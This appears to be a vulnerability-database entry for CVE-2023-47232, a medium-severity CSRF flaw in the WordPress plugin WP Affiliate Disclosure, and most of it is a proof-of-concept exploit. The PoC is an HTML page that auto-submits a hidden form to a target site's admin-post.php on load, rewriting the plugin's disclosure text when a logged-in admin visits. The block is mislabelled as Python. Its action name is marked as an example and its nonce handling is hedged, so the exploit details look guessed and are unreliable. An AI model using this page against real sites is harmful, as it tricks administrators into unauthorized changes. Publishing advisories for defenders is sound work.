Vulnerability in mojofywp WP Affiliate Disclosure wp-affiliate-disclosure.This issue affects WP Affiliate Disclosure: from n/a through 1.2.6.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
WP Affiliate Disclosure <= 1.2.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2023-47232 -->
<!-- WordPress WP Affiliate Disclosure Plugin CSRF Exploit -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC - CVE-2023-47232</title>
</head>
<body>
<h1>CVE-2023-47232 CSRF PoC</h1>
<p>This PoC demonstrates the CSRF vulnerability in WP Affiliate Disclosure plugin.</p>
<!-- Auto-submit form for CSRF attack -->
<form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST">
<!-- Plugin's action endpoint (example) -->
<input type="hidden" name="action" value="save_affiliate_disclosure">
<input type="hidden" name="nonce" value="">
<input type="hidden" name="disclosure_text" value="Malicious modified disclosure content">
<input type="hidden" name="settings_updated" value="1">
</form>
<script>
// Auto-submit after page load
document.getElementById('csrfForm').submit();
</script>
<p>If you see this message, the form was not auto-submitted.</p>
<button onclick="document.getElementById('csrfForm').submit()">Submit Attack</button>
</body>
</html>
<!-- Notes:
1. Replace 'target-site' with the actual WordPress site URL
2. The nonce field may be missing or improperly validated
3. This PoC is for educational and authorized testing purposes only
4. Requires target admin to be logged in and visit this page
-->